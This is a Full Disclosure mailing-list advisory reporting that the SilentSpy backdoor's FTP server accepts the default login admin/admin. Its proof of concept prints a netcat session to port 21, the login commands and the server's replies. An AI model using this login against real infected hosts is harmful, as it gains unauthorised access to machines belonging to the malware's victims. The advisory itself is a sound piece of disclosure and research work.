full-disclosure - [FD] Backdoor.Win32.SilentSpy.10 / Authentication Race Condition

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Date: Fri, 31 Dec 2021 03:33:39 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.SilentSpy.10 / Authentication Race Condition

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/a7ce38e60cf08f2b234f34043b87e701_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.SilentSpy.10
Vulnerability: Authentication Race Condition
Description: The malware runs an FTP server on TCP port 21. Third-party
attackers who can reach the system before a password has been set can logon
using default credentials of admin/admin. The default credentials are
displayed in the FTP banner upon connecting.
Type: PE32
MD5: a7ce38e60cf08f2b234f34043b87e701
Vuln ID: MVID-2021-0441
Disclosure: 12/31/2021

Exploit/PoC:
nc64.exe x.x.x.x 21
220-+-----------------------+
220-| º∩LΘn7 ºpy FTP server |
220-+-----------------------+-------------------------------------------------+
220-| To use the FTP server type,
  |
220-| USER admin
   |
220-| PASS [servers password]
  |
220-| IF the server doesn't have a password then the password is also
'admin' |
220-| Have fun [type HELP for more commands]
   |
220
+-------------------------------------------------------------------------+
USER admin
331 and the password for admin is .. ??
PASS admin
230 Welcome
SYST
215 IBM-PC (Windows95/98/NT based system)
HELP
214-The following commands are recognized:
   ABOR     DELE     NOOP     REIN     SITE     SYST     XRMD
   ACCT     HELP     PASS     REST     SMNT     TYPE     SIZE
   ALLO     LIST     PASV     RETR     STAT     USER
   APPE     MKD      PORT     RMD      STOR     XCWD
   CDUP     MODE     PWD      RNFR     STOU     XMKD
   CWD      NLST     QUIT     RNTO     STRU     XPWD
214 Send comments to drtinus@...oo.com

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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